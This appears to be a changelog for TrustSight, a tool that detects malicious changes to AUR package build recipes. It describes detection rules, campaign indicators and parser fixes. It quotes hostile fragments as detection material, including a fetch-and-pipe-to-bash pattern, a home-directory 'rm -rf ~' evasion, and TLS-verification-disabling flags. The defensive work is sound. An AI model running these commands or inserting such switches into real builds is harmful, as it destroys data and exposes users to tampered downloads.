resolve_ownership()applies a declarative owner→yields-to table after production (a measured no-op on the locked corpus, where no line carries two techniques). X026 (Unresolved Constructs In Executable Positions) fires on tokenizer refusals referenced from build/prepare/check/package; X027 (Refusal Cluster, CRITICAL) on two or more distinct ones; X030 (ANSI-C Quoted Content In Commands) on command-position$'...'literals with hex/octal spelling that does not decode to a benign value; X029 (Encoded Material At Rest, MEDIUM) on long base64/base32/hex literals with no decoder in the diff; X031 (Build Reads Non-Code Text) on a build reading its own PKGBUILD through a transform into an executor; X028 (Pattern Completed Across Commits) joins the immediately preceding recorded review and fires only on a joined-only technique. Adjudicated benign-corpus rates (the honest-refusal floor): X026 130/3,739 (3.5%, 27 packages;CONFIGURE_FLAGS=$(...),VERSION=$(date), Windows-ISO helpers), X027 46/3,739 (1.2%, 9 packages - kernel and ISO build machinery), X029 1, X030 0, X031 0, X028 0. The X028 split-fetch fixture (tests/fixtures/x028-split-fetch/) fires the joined-only X006 technique when a fetch URL is split by a line continuation across two commits; the join-with-self safety invariant holds and is tested. - Additional coverage predicates over the existing machinery: C020 (credentials in a gained source URL; evidence redacts the value), C021 (dependency removal during a build change, MEDIUM), C022 (checksum strength downgraded, HIGH - fires only when the strongest array's declaration is actually removed in the diff), C023 (IP-literal gained host, MEDIUM), C024 (an
.installnoinstall=declares, MEDIUM), C025 (hardening option gained, LOW), and R057's client list extended togit -c http.sslVerify=false,GIT_SSL_NO_VERIFY,pip --trusted-host,npm --strict-ssl=false,deno --unsafely-ignore-certificate-errorsand the Node/bunNODE_TLS_REJECT_UNAUTHORIZED=0environment switch (cargo has no distinct flag; its transport is git, already covered). Adjudicated benign-corpus rates: C020 0, C021 27 (0.72%), C022 43 (1.15%, all declared strongest-array removals), C023 0, C024 12 (0.32%), C025 20 (0.53%), R057 extension 0. - Resolution coverage:
resolution_coveragerides every report (resolved_lines,unresolved_lines, the resolution-coupled R-rules and the subset that fired) and renders underinspect --verbose. - Documentation closures: the R-on-resolved/tokenizer coupling note, H's internal shape-vs-observational taxonomy and H091's C-nature misfile, H029/D002's positional split and the D cold-start abstention, the S-series evidence vacuum, X's measured-shrinkage contract, P's absence-as-signal reading, and a "Known fuzzy edges" section in
docs/reference/rules/nature.md.
Changed¶
- The CLI gains
trustsight explain,trustsight report --format sarifandtrustsight lint;docs/reference/cli.mdanddocs/reference/configuration.mdcover their flags and the document-cache environment variables. -
Existing installs can repair the changed R051 and R057 patterns: both old spellings are recorded in
LEGACY_RULE_PATTERNS, soconfig sync-rules --updatereplaces them with the shipped ones. Until then an install holding the old pattern reportsruleset_driftedand fails closed - the intended behaviour for a run whose detection surface is not the documented one. -
A Cross-File Consistency page: the recipe-versus-
.SRCINFO-versus-committed-tree checks that already ship, and how H103 compares the security-relevant fields without firing on a merely stale.SRCINFO. -
A typed core for analysis.
trustsight.diffdocparses a unified diff once into aDiffDoc(files, hunks, classified lines with file attribution and both line numbers), andtrustsight.recipedocreads a PKGBUILD once into aRecipeDoc(resolved scalars, collected arrays, function bodies, and a first-classunresolvedlist for the forms the tokenizer refuses to guess at).array_diff(old, new)turns "how did this array change" into one multiset query. Every legacy diff reader (the line map, the post/pre reconstructions, the checksum and source-array machinery, the network and signing-key walkers, and the rest of the per-modulesplit_linesloops) is now a projection or an iteration over the document, so the structural decisions exist exactly once; the bug class where two walkers drifted apart (a finding attributed to the wrong file, an array state machine flushing on the wrong line) has no seam left to live in. No finding, score, file or line changes: the migration was gated on a projection-parity harness (wired into the calibration CI job) and a full-corpus finding replay against a pre-migration baseline (3,919 diffs, byte-identical output, run locally), and a suite guard pins the remaining raw text loops so a new diff walker outside the typed core fails review. - Two IOC types,
file_pathandpkgbuild_pattern, in both the legacy H056 list and the signed IOC federation baseline.file_pathmatches a file a diff added or modified, or one the recipe names (install=, a localsource=()entry).pkgbuild_patternmatches added diff lines as a regular expression; it is safety-checked statically at load (a nested quantifier or a quantified alternation is refused, because the measured check the rule linter uses hangs on exactly those) and is capped at CRITICAL, never FATAL, because a shape is a weaker claim than an exact artefact. The corpus pivot understands onlydomain,hashandpackage; the two new types describe a file or a line, not a stored corpus reference. data/iocs/atomic-arch-2026-06.jsonexpanded from three npm package names to the full payload indicator set:nextfile-js, thedepsELFsha256/md5, a secondarysha256, the Tor C2 onion, the two install-hook paths, the three eBPF pinned maps, and the two wave-3 ANSI-C obfuscation markers. Legitimate or decoy names (ansi-colors,minimist,chalk), the benign paste servicetemp.sh, and the unconfirmedraw.gitubusercontent.comtyposquat are deliberately excluded, and the choice is recorded indata/iocs/README.md.data/aur-compromised/atomic-arch-2026-06/: a point-in-time exposure reference of 1,913 AUR package names reported compromised (waves 1-2 and wave 3, merged and deduped) plus the 144-package shell-rc spam campaign kept separate. It is not an IOC baseline and is never matched by H056, because the malicious commits were reverted and apackageindicator would flag a clean package forever. Derived from the MIT-licensedjasonherald/atomic-arch-checkdata with aNOTICE; the GPL-3.0 and unlicensed trackers are deliberately not merged.scripts/refresh_aur_compromised.pyrefreshes it on demand.TrustSight.analyze_text(and every text-path analysis, including the full-AUR corpus builder) now runs the IOC federation stage, soioc_matchesis populated on that path as it already was on the git/review path. It ran no IOC stage at all, so a baseline imported for a CI checkout or a corpus build matched nothing. The matches are still outside the score. The stage also now extracts registry-install names from the tokenizer-resolved lines as well as the raw text, so a wave-3 package (ANSI-C quotedbun add) is caught.full-aur --since YYYY-MM-DDreplays change history instead of starting late: each cycle analyses the packages whose AURLastModifiedfalls in one day of AUR time, empty days are skipped inside the cycle, and the replay joins the live delta stream when it catches up. Built for scanning past campaigns: the cursor persists in the database, so a replay resumes across restarts. Backfill cycles alert throughover_thresholdlike any other cycle; the sweep and the adoption feed stay out of them, so a two-year replay cannot distort the live baselines.- The watcher's webhook document now says what happened, not only that it did: each
over_thresholdentry carries the version transition, the AUR change date, the rules that fired and a link to the AUR package page, and a--sincereplay names the AUR day being analysed inday. Atitlesummary rides the ntfy header with a tag for the level. The corpus path fetches recipes over cgit rather than cloning, so there is no commit id to report; the AURLastModifiedand the version transition are the anchors that carry the same information. Once a day the watcher sends a low-prioritytrustsight.heartbeat(ntfyPriority: 2) with the cycle counts and the replay day, so silence only ever means "nothing found". Alerts never escalate priority: the urgent tier (ntfy Priority 5) paged at night, which is worse than a quiet panel in the morning, so every alert now arrives at the default priority and the heartbeat alone stays low. - A package matching an IOC baseline entry is listed in the webhook document's
ioc_matcheswhatever it scored: the IOC tier reports outside the heuristic score, so a clean-looking package on the list would never cross the alerting bar. And single-shot cycles (a bootstrap chunk, a plainfull-aurrun) notify like watch cycles; the webhook call used to live only in the watch loop. - The watcher's alerting bar is configurable:
--over-threshold N(and theover_thresholdparameter onrefresh_corpus/watch) puts packages scoring above N in the cycle'sover_thresholdlist (default 30, the benign corpus's p95). The list rides the webhook document at the default priority, like every alert. H098(Naming/Deception Cluster, HIGH) fires when a package's findings carry two or more distinct naming/deception signals (H029,D001,D002,D004,H064,C012,H053,H059,H026). Unlike the weight-0H027/H043annotations it is scored, the same safety-first stackX007uses in the crossfire family; the members still score individually. Threshold in[thresholds] h098.min_signals(default 2).H099(Source Host Swapped Under A Kept Local Name, HIGH): asourceentry whose local name survives while the registered domain behind it moved, with no version change. makepkg's cache keys on the local name, so the quiet swap refetches nothing and shows a familiar filename. Registered-domain comparison, so a move between subdomains of the same domain is silent; a version bump suppresses it (C003 records the URL change there). First consumer of the typed recipe states on the diff: pre/postRecipeDocs compared by local name.H100(Install Hook Added Or Retargeted): theinstall=scalar appears or points at a different hook file. HIGH when the hook script ships in the same diff, MEDIUM when only the declaration moves (the script may predate it). H017 inspects hook content; nothing watched the declaration itself.H092(Metadata Names A Source The Recipe Does Not) now runs on the review path, not only the full-AUR corpus path: areview/inspectrun reads the.SRCINFOat HEAD and compares hosts against the PKGBUILD, the same host-level comparison measured FP-free on the corpus.- A
partial_hunkcoverage gap: a diff hunk carrying fewer lines than its header declares, with no truncation bound reporting it, is a silent partial read (a hand-sliced fixture, a stored blob capped upstream). The byte and line caps already fail closed with their own gaps; this catches the cut that reported nothing, which every array reader downstream used to treat as a whole array. Read off the typed diff's hunk arithmetic (DiffDoc.cut_hunks), weight 0, fails closed like every gap. - An unresolved-source coverage gap now quotes the first offending assignment in the verdict text (
first: source=($(curl ...))), so the reviewer is pointed at the exact line rather than a category. H101(Source Pinning Lost, MEDIUM): asourceentry moves from pinned (a#commit=/#tag=fragment, or an archive URL carrying its version) to floating (a branch ref, HEAD, a/latest/path) under the same local name. P008 reports a floating source wherever one stands; H101 catches the moment a verifiable package becomes upstream-controlled. Benign corpus: 1/3739 (0.03%).trustsight inspect --explainrenders the typed core's own view: the RecipeDoc of the analysed PKGBUILD (resolved scalars, array sizes, functions, the unresolved list) and the DiffDoc summary of the analysed diff (files, hunks, cut hunks), so triage and rule authoring work from what the parser believed rather than a re-read of the raw text. In--jsonthe lines ride anexplainkey.H102(Maintainer Change With Signing Key Change, HIGH): the maintainer changed andvalidpgpkeysmoved (H078) in the same diff, the xz shape. Each member scores on its own; the conjunction stacks the way X007 stacks its members, with H078's own detection standing in for the keyring delta.- A property timeline for the corpus. The corpus builder already hashes every tracked property per package and reports value changes to the longitudinal rules, but the row is overwritten, so the history behind a change was lost. Every observed change is now appended to
property_transitions, andtrustsight full-aur --transitions PACKAGEprints one key'sold -> newtimeline, oldest first, read-only and offline, with--jsonfor the machine form. No scoring change: the H048-H052 family still consumes the same breaks. - Recipe-targeted user rules:
rules.tomlaccepts a[[structural]]array of operator rules that ask the typed recipe instead of matching a diff line. Five primitives (entry_added,entry_removed,host_added,scalar_changed,renamed) match a value regex against array deltas and scalar changes, changed-line anchored so a partially visible array cannot report a hidden entry; first-seen packages degrade the change primitives to presence checks. Severity is capped at HIGH, the[rules.R###]controls apply, the patterns pass the same static safety gate as the R-series, andlint-ruleschecks the table. It ships with zero rules; the design and the exact semantics are in Recipe-Targeted User Rules.
Fixed¶
- A checksum value could be reported as a novel dependency (D001/D002). A hunk ending inside a dependency array left the dependency walker's array state open, and the next hunk's
sha256sums=('...')lines were read as its continuation: the balanced same-line array never closed the state, so the hex sums ofsha256sums_x86_64/sha256sums_aarch64scored as dependencies (alacritree-bin0.14.0 scored 80 on exactly this). Any array assignment now ends an array a previous hunk left open, tracked or not. - Source URLs extracted from a nested shell default (
${A:-${B:-https://example.org}}) kept the trailing braces, so the added URL was recorded ashttps://registry.npmjs.org}}and flowed into scoring, novelty and the source buckets with the corruption attached. The URL cleaner strips the braces nothing opened; a balanced${var}inside the URL template keeps its closing brace.
Changed¶
H029(Package-Name Typosquat) no longer fires on a bare edit distance. A candidate must clear an absolute floor of 100 dependency observations ([naming] h029_min_candidate_observations), and the edit is classified: a confusable edit (adjacent transposition, homoglyph/digit substitution, separator-only change) fires at that floor, a plain edit (two unrelated real words one or two edits apart) must clear 1000 observations ([naming] h029_plain_min_observations). The higher plain-edit floor is the safety-first choice: it keeps every known confusable squat (openss1,cur1,sytsemd) and any plain edit against a genuinely popular name, at the cost of some false positives. On the package-name scan it removes thedosbox-xandelectron36false positives, taking the corpus rate from 0.99 % (2/202) to 0.00 % (0/202).array_diffis a multiset delta:gained/lostkeep duplicate occurrences and their order, andreorderedcompares only the matched occurrences, so a duplicate addition is a gain rather than a phantom reorder. A newarray_alignment(old, new)reports positional correspondence (pairs,inserted,deleted) for arrays whose index pairing matters, which the set difference could not express. No shipped finding changes: the only consumer matched membership.- The baseline signing key is pinned by fingerprint now: a test asserts the shipped bytes, the documented sha256 and the raw hex all agree, so a 32-byte key swap cannot pass every gate but the page. The rotation drill is written down, and the baseline workflow writes the signing key with
umask 077. - A baseline cycle checkpoints the SQLite WAL when it finishes, best effort, so a long watch run no longer leaves the log growing until a manual vacuum.
import-baselinerefuses a signed manifest whosedistribution_pubkeydiffers from the pinned key. - Function definitions spelled with the
functionkeyword (function build {, with or without parentheses) and names containing hyphens are recognised by the typed recipe reader and the rule scope classifier; every scoped rule was blind inside those bodies. A differential test against the tree-sitter-bash grammar (a dev-only dependency, installed by--extra dev) checks the scanner on a construct set and a malicious-fixture slice, and it found both gaps. H103(Metadata And Recipe Disagree, HIGH):.SRCINFOand the PKGBUILD disagree on theinstall=hook, a checksum array ordepends. H092 compares the hosts the two documents name; this compares the fields that decide what the build installs, fetches and verifies. A stalepkgveralone stays silent, reordering is silent, and a field carrying an unresolved variable is not compared. The per-linesource = valuespelling no longer counts as a declared source inside a PKGBUILD: it is.SRCINFOmetadata that makepkg never reads.inspectprints the comparison base when it is the parent commit, so the first-review gap is visible in the terminal and not only under--json.- Rule scope is shell-file aware everywhere, not only in the rule engine: the scope classifiers blank lines from files whose extension is not a shell one (
.json,.gn,.patch,.fish, and the rest) before deciding function membership, so abuild() {in a companion file cannot place its text inside a function makepkg calls. Extensionless companions keep the old treatment because they may be scripts. Findings on the locked corpus are unchanged; scope records change only for non-shell companion content. - Recipe reading joins backslash continuations, exactly as the rule engine does, and maps provenance back to the first physical line:
pkgver=\andinstall=\continuations resolve instead of reading as a bare backslash, and a continued array no longer gains a phantom entry. Rule scope is shell-file aware now: the engine shares crossfire's shell-path predicate, so abuild() {inside a.desktop, a patch or a BUILD.gn cannot place the rest of that file inside a function makepkg calls. The locked corpus has neither continuation nor scoped non-shell firings, so no finding changes. - The operator surfaces are bounded now.
array_alignmentrefuses an old x new pair pastrecipedoc.MAX_ALIGNMENT_CELLS(the matcher is quadratic, so a refusal is honest where a truncated alignment would misreport moves). The tokenizer's_MAX_TABLE_BYTEScovers array entries and is checked every pass, so an oversized variable table is a refusal rather than an unbounded response.property_transitionskeeps at mostMAX_PROPERTY_TRANSITIONS_PER_KEYrows per key, each extracted property set is capped atMAX_PROPERTY_ITEMS(which also bounds the canonical string stored per row), and--transitionsshows the newest 500 rows by default with--limitto change it (0shows all). - A first review with no recorded baseline says so.
comparison_basenames what every report compared against (recorded,parent,none, or""for a caller-supplied diff), and aparent_baselinecoverage gap keeps a run that only read the parent commit Inconclusive until a baseline exists. The full-AUR path now tracks degraded stages, drifted rulesets and partial hunks like the review paths, clamps diffs by line count as well as bytes, and marks the run degraded when a structural rule or IOC entry is dropped at load. The unreachabletokenizer_unavailablecoverage gap was removed: a dead tokenizer is the documentedfailed/error_typerefusal. - Recipe provenance is first-class, and the recipe-state rules anchor on it.
RecipeDoccarries spans now (a scalar's assignment line, each array entry's first line, a function's header), and when a recipe is rebuilt from a diff the span holds the real file, line and side (DiffDocexposes pre/post origins for that mapping). H099, H100, H101 and the operator structural primitives use the spans instead of re-finding a needle in raw text, which corrects their locations: aninstall=declaration used to cite the first matching line anywhere in the diff and cited none at all when only a context line matched, and a source-host swap could cite the.SRCINFOcopy instead of the PKGBUILD entry. No score or rule-firing changes on the locked corpus; 23 findings gain a location or move to the file the rule is about.
Fixed¶
- URLs in comments are no longer source URLs.
extract_urls_from_diffskipped no line, so# Maintainer: Name <https://aur.archlinux.org/account/name>became the package's most suspicious "source" and scored SOURCE_BUCKET and both NOVELTY rows;# Maintainer:URLs also reached the history and thesource_urlstable. Whole-line comments are now skipped, and the trailing>an angle-bracketed URL leaves behind is stripped, so the address is the URL it names. NOVELTY rows now carry the URL that made them true, like SOURCE_BUCKET already did. - Code-emitted findings now report the file line, not the diff-stream index. Every
analysis/rule (find_line_in_diff,_epoch_findings, the IOC_line_of) numbered findings by their position in the diff stream, so a hunk header or a preceding file shifted the number:PKGBUILD line 126pointed at a comment, and a--full-recipefinding could cite line 148 of a 115-line file._structural_findingsprojects the typed parse's line map once, so every finding names the file and line the match is actually in (or no line at all, when the index maps to nothing). - H063 no longer says "newly introduced" under
--full-recipe. A whole-recipe analysis has no-side, so every field is "new" by construction; the finding now saysepoch=N present, which is what the run knows. depends+=(...)and the other compound dependency arrays are parsed._ARRAY_START_RErequired a bare=, sodepends+=('evil-pkg')was invisible to every D-rule and to the dependency change summary, andsource+=(...)was invisible to the declared-source check (a build fetch of a URL declared with+=read as an undeclared download). Both openers now accept the compound assignment, including the arch-suffixed forms. The last evasion gap (depends+=) is closed on the cold side by D003 (makedepends+=('git')); D001/D002 read the dependency corpus, so a newwarmfixture category andgate_d_series_warmgate them with a small committed corpus seeded and assert they stay silent without it. The D-series fire rates published in the reference tables are point-in-time measurements; the next warm re-measurement will move with the appended arrays.- Rule scope and function-body detection share one lexical scanner (
line_lex) now. Braces inside quotes,#comments and heredoc bodies no longer count as code, so a heredoc writing a patch, a script or JSON can neither close a function early nor open one inside its own text; the two readers previously failed differently on exactly those inputs (a quoted}swallowed the next function, a# }closed a body). A partial diff fragment resets quote state each line and ends a heredoc at a file or hunk header, so a hunk whose closer is outside the fragment cannot blank the rest of the file. Findings are unchanged on the locked corpus; 48 diffs in heredoc-heavy companion files change scope classification only, toward treating embedded data as data. H077 no longer fires on a fetch spelled inside a heredoc. - The crossfire pipeline rules read the resolved text, so one pipeline is scored once.
A=(curl)then${A[0]} ... | bashresolves tocurl ... | bash, R001 owns it, and X002 stands down instead of scoring the same command again; a dynamic${A[$i]}stays unresolved and still fires. X023 stands down when resolution names the fetch, and X009 now claims a resolved uncatalogued fetch (C=aria2c; $C ... | bash) that X023 used to describe wrongly. The three evasion gaps filed as R133-R135 are closed by this and the existing family: array-subscript routing by R001, nameref and command-substitution spelling by X002/X023/X007. The fixtures are relabelled to the rules that actually fire (the nameref one corrected to a working bash spelling, sincedeclare -n R=curlreferences the variablecurl, which is unset), andgate_known_gaps_unchangednow reports a known gap that a different rule closed, so the record cannot go stale the same way again. - The monthly Corpus Drift Detection job rebuilds the corpus from
corpus.lockwithgit diff -W, whose bytes are not stable across git versions, so it compared a different corpus thanbaseline.jsonwas measured on and filed an issue every month on the hash and a few rates. It now downloads the same packed release assetcalibration.ymluses and verifies the extracted bytes, so a reported drift is a rule change rather than a runner difference.tests/fixtures/baseline.jsonis refreshed against that canonical corpus under the shipped config (D004/H064 no longer fire with the official-names answer frozen empty, and the coverage and H027 rates moved with it).
0.17.1 - 2026-09-30¶
Added¶
full-aur --watchcan push new alert clusters to a webhook: one HTTPS POST of a JSON document (cycle counts plus thepackage/rule_idpairs) per cycle that produced alerts, via--notify URLor[notify] webhookinconfig.toml. ntfy accepts the same POST, so a phone notification is one flag. A dead receiver is logged and swallowed; a quiet cycle sends nothing.- A Docker image, published to
ghcr.io/emiliano-go/trustsighton every release:docker run ghcr.io/emiliano-go/trustsight:latest full-aur --watchis the always-on scanner in a box. The image is rootless and carries no pacman, which makes it the reproducible cold environment by construction. - A Watching the AUR Continuously guide: the watch loop, the bootstrap cost, systemd and Docker service setups, and the alerting payload.
Fixed¶
- The calibration replay isolated the config and the database but not the host's pacman:
official_package_namesreads the machine's sync database, sois_established_packagefired D004/H064 on benign provides-transitions only where pacman exists, and the benign flag rate measured 7.9% on an Arch box against 7.8% anywhere else.shipped_confignow freezes the official-names answer to empty (the cold machine), the published figures move to the reproducible measurement (7.8% above the 20-point threshold, the 92.2th percentile), and the corpus asset from 0.17.0 keeps the input bytes identical on top.
0.17.0 - 2026-09-29¶
Added¶
- Shell completion of package names for
inspect,history,forgetandoverride. inspect --full-recipeanalyses the whole recipe, not only the changes since the last review.reviewreuses the recorded analysis when the package's AUR HEAD, the installed and advertised versions, the dependency depth and the ruleset fingerprint are all unchanged, so a nightlyreview --all --recordonly re-analyses packages that moved. A reused result carriescachedandcached_atin the JSON body, and its status line names the recording's date. The cache exists only where a--recordrun wrote history;inspectand the Python API never serve a cached analysis. (#20)- A coverage gap whose root cause the previous recorded analysis already carried is reported as carried: the verdict sentence and the
inspectrenderers append "unchanged since the previous review", and the JSON body carries the subset ascoverage_gaps_carried. It is still a gap and still forbids an unflagged verdict; only the label changes. (#19)
Changed¶
- A source URL on the registered domain of the package's
url=is classifieddeclared_upstream(+5) instead ofunknown(+20), unless the same diff changesurl=. - The published seed (
baseline-2026-09-24) now carries the source-URL and dependency-name corpora, not maintainers alone: 185,902 source URLs, 215,504 dependency names and 36,912 hashed maintainers, soseed fetchwarms novelty and the D-series rules on a fresh install. - The seeded fire-rate tables in Measured fire rates and Fire Rates are re-measured against the published 215,504-name corpus: D001 10 hits (0.27 %), D002 0, D003 18 (0.48 %), D004 2 (0.05 %), H030 5 (0.13 %), H029 2/202 (0.99 %). The D-series numbers are not covered by the cold-database CI gate, so these are point-in-time records.
Security¶
- The sandboxed tokenizer's worker pool refuses a saturated pool at a finite deadline instead of blocking forever on a wedged holder, retires a worker that died while idle instead of handing it to a request that would fail, and closes the child's pipe handles on retirement. The pool still retires workers by request count and CPU budget. Two security gates enforce the bounded wait and the release-artifact/release-tag consistency.
- The security and regex audits read repository text as UTF-8 rather than the process locale, so a non-UTF-8 locale no longer changes or fails a gate. Security-gate path allowlists use forward slashes on every platform.
scripts/verify_release.pyrebuildsHEADwith the running interpreter (sys.executable) so the checksum it compares is the committed tree's, not apythonfound onPATH.
Performance¶
- The
full-aurmetadata snapshot is parsed once per process instead of once per package, saved with compact separators through an atomic rename, and refreshed with a conditional GET (If-None-Match/If-Modified-Since) so an unchanged dump is not downloaded again. - The typosquat scan resolves the variant-suffix list once per package instead of once per candidate name, removing tens of thousands of file
statcalls from areview --allrun. - The Unicode format-control (Cf) set is cached on disk, keyed by the interpreter's Unicode version, so a later process reads a small file instead of walking all 1,114,112 code points at first use.
Documentation¶
statusexplains what a missing dependency corpus costs and points to the seed-provenance page;seed fetchreports the maintainer, source-URL and dependency-name counts and warns when the seed carries only maintainers. The seed build steps show the--source-urls/--dependencieshand-off, and Quickstart answers whether to build the dependency corpus, and how often.- The bug-report template's reproduction field no longer forces a shell fence around the steps, and the Python version field is optional for AUR installs, which track the system Python. (#21)
Fixed¶
- H091 now reads checksum-array parity from the complete recipe: a first-seen package is checked at all, and an element inserted into an existing
source=()beside an unchanged*sums=()is caught instead of being invisible to the wholly-added-array guard. The diff path only falls back to the recipe text when the source array grew, so a pre-existing mismatch the diff merely touches stays silent. - C004 no longer fires without a checksum being removed. The checksum parser now compares the hashes an array held on each side of the diff, scopes an array to its own file, and ignores
.SRCINFO's scalar*sums = <hash>lines, so a dropped.SRCINFOblank line, a tab-to-space re-indentation, or a replaced hash that spans two hunks is no longer reported as a CRITICAL entry removal. cmakecache types (-D<VAR>:PATH=,:FILEPATH=) are no longer read as PATH assignments, so a routinecmakeinvocation no longer trips H025 or H085.inspect --lastanalyses the commit's tree, which it already had in hand, so a history result no longer reportstree_not_analyzedand reads as Inconclusive for a trivial bump.- A dependency added from an official repository (for example
lib32-glibcfrom[core]) no longer setsdeps_not_scanned; the gap is for a name the run did not walk, which is an AUR dependency. inspect's installed gate checks the local pacman set instead of trustsight's own database, so a package that is installed but not yet recorded is no longer reported as "not installed".- The novelty signals consult the seed before reporting a maintainer or a source URL as "first seen". An established maintainer the seed already knows no longer charges the per-package weight on a package's first review, and a URL the seed knows no longer charges the per-package weight.
sourceforge.netandfreedesktop.orgjoin the trusted forge list, so their artifacts no longer fall into theunknownbucket. - The AUR
pkgdescis trimmed to the 80-character packaging guideline. The previous text was 131 characters and wrapped in package browsers. packaging/local'scheck()installs the built wheel into a--system-site-packagesvenv withpython -m installerinstead ofpip install, so it no longer fetches dependencies from PyPI as the builder and finds the declaredpython-pytest.- The test suite pins
LC_ALL=C, so a non-English locale no longer failscheck()where git localises its messages. reviewandreview --depsno longer hide a package's findings behind its status line. TheNo changes in the AUR since last reviewand trivial-update statuses describe the diff, but findings such as H029 (name typosquat), H003,SOURCE_BUCKETandNOVELTYare computed from the head recipe and the database, so an unchanged commit still fires them. They are now rendered after the status on both the Rich and plain renderers, matching the dependency card andinspect.inspect's text output names the file and line of a finding (PKGBUILD line 4) on both renderers, so locating a finding no longer takes a trip to--json. (#18)- A raw-line rule finding could cite the wrong file and line: raw candidates were indexed into the joined, blank-stripped line list while the file/line map is keyed on the raw diff lines, so one blank or continued line before the match shifted the citation, and a multi-file diff could attribute the wrong file. The tokenizer's bash affix stripping also removed the wrong span (
${v#*/}ona/b/cyieldedcinstead ofb/c;${v##foo}stripped a non-prefix), and a legal escape in a${var/pat/rep}replacement crashed the tokenizer into fail-closed instead of leaving that one expansion unresolved. - A deleted file was summarised as a modification of
/dev/null; the real path now appears with statusremoved. A content line starting with--or++(an unquoted array element, a configure flag at column 0) was read as a diff file header, which could flush checksum-array tracking and hide a hash swap in the same array. - H078 (the signing-key set changed) never fired for the dominant multi-line
validpgpkeysedit shape, where the opener is a context line and the keys change one per+/-line. - A multi-line
source=()array yielded only its first URL, so H031 and H034 were blind to every entry past the opener line; and only the firstrmon a line was checked against the build tree, sorm -rf "$srcdir/x"; rm -rf ~evaded S002 (CRITICAL). - The companion-tree walk recursed per directory level on an attacker-controlled tree: a ~1500-deep tree aborted the analysis with
RecursionErrorinstead of degrading to thetree_not_analyzedgap. The walk is iterative now. unresolved_patternslisted every literal added line; it now lists only what the tokenizer could not fully resolve, as documented._zip_trailing_bytesreturns None on a truncated EOCD record instead of raising. An unparseable source URL (unbalanced IPv6 brackets) classifies as unknown instead of crashing the analysis.- The cached database connection never rolled back, so a write that failed mid-transaction could be committed by the next unrelated
commit(). Re-importing a seed built under a new salt silently orphaned all maintainer history (known maintainers read as first-seen again); the stored salt now wins, and the seed's maintainer rows are skipped with a warning rather than orphaned alongside it. forget --prunewas broken from both sides: the CLI refused to prune exactly when a package was gone from the AUR (a shorter reply read as truncation), while the API pruned on a partial cache answer during an outage, deleting tracked packages over a network blip. Both paths now act only on an authoritative AUR answer, and the destructive CLI prune asks for confirmation unless--yes. A negativeRetry-Afterheader or a valid-JSON-but-wrong-shape RPC body now degrade to a failed lookup instead of escaping as tracebacks.db backup -oonto the live database path hung forever inconn.backup(); the same-file guard now covers the equal-path case. Declining thedb vacuumconfirmation exited 1, a code the exit-code contract does not define; it exits 2.list --sort X --limit Nlimited before sorting, so the alphabetical head was sorted and the highest-risk rows were dropped.config sync-rules --full --jsonignored--full.seed migratecrashed once the auto-migration had renamed the table. Thefull-aur --watchflag-conflict error ignored--json.corpus pivot --typerejected non-lowercase spellings thatioc listaccepts.- One package's verdict-rendering failure aborted the whole review batch, discarding every result; it now fails that package alone. A malformed rule template in
rules.tomlraisedIndexErrorthroughinspectinstead of falling back to the plain finding line. A finite--depthabove the ceiling reported a clamped walk as complete instead of truncated, so nodeps_not_scannedgap was recorded.COVERAGE_GAP_REASONSansweredinwith False before the first keyed lookup.CycleReport.to_dict()omittedadded.inspect's status line could print "Only pkgver and sha256sums changed" directly above its own W-series finding; it now reads triviality from the same check the JSON body uses. - The corpus pipeline's fetch-failure path yielded a 3-tuple where the consumer unpacks four, so one failed fetch aborted the whole cycle (and
--watchretried it forever).extract_propertiesdropped the items on the opening line of a multi-linedepends=()orsource=()array, and a one-line function body (build() { make; }) never closed, so the rest of the recipe was read as build body. A removals-only cycle returned before recording the adoption feed, dropping the removal events the Class D baselines read. A valid-but-non-object metadata snapshot crashedcorpus pivotandbaseline buildwithAttributeError. - H029's popularity asymmetry was vacuous for an unobserved package (threshold 0), so an unknown name one edit from an equally obscure name could fire HIGH with a false "far more popular" claim.
build_seedfolded maintainers by raw name but hashed the normalized identity, producing duplicatename_hashrows and fragment counts.load_overridescrashed on a non-UTF-8overrides.json. A corrupt bundled seed crashed the firstrevieworinspectinstead of being skipped. A malformed seed JSONL row raised an uncaughtKeyErrorinstead of the clean exit-2 error. The anti-analysis probe scan leaked the diff+marker into the finding text. - The Calibration Gates workflow rebuilt the calibration corpus from
corpus.lockon every run, and the rebuild is not byte-stable across git versions: CI's copy differed in a handful of diffs and measured a benign flag rate of 7.8% against the published 7.9%, failing the published-figures gate on every push. The corpus now ships as a packed release asset (baseline-benign-corpus.tar.gz, CI-only and unsigned), and the workflow verifies the extracted bytes against thecorpus_content_sha256recorded inbaseline.json, so every environment replays the same corpus.
0.16.1 - 2026-09-23¶
Twenty-four commits since v0.16.0. It carries the work that had accumulated on
master (the sandboxed tokenizer, runs read-only by default, the commit-pin
level, and a batch of rule and summary fixes) together with the packaging,
release-process and security fixes from reports #8 and #9 and a private source
review. No rule changes meaning, no stored state or baseline needs migration,
and a database written by 0.16.0 is read unchanged.
Changed¶
- The PKGBUILD checksum describes a version, not the branch tip. Between
releases,
master's PKGBUILD must carry the published asset's checksum. The checksum test andpkgbuild.ymlnow rebuild from the tag named bypkgverwhen it exists, and from the working tree only while a version is being prepared. Previously every content commit forced the checksum to the unreleased tree, which is how three commits replaced the published v0.16.0 checksum and made the documented install fail. Reported in #8 and #9. - The release asset is built from the released commit.
publishing.ymlused$GITHUB_SHA(the commit the workflow file sits on) rather than the requested target, so the tag, the PKGBUILD checksum and the asset could describe three trees. It now builds from the checked-out target and refuses a pre-existing tag that does not point at it. The release workflows and the signature policy are now in the critical-path set. Reported in #9. - The Arch CI container is pinned to a digest.
archlinux:latestis a rolling tag, so a rebuilt image could change what runs the release build without any commit changing. The three workflows that use it now pin the multi-arch index digest. Dependabot cannot update acontainer:image, so.github/workflows/update-arch-container.ymlopens a weekly PR when the digest moves (the maintainer signs it, since it edits critical paths), and a Dependabot config keeps the pinned action SHAs current. Reported in #9. -
The AUR package is now maintained by the project. Ownership of the
trustsightAUR package transferred from its original submitter to the TrustSight author, so the README and the installation page no longer warn against it. Source stays the recommended install, and the AUR package is documented as an AUR package like any other: it gets no special trust, and its PKGBUILD is the one inpackaging/aur/, to be inspected before installing. Reported in #9. -
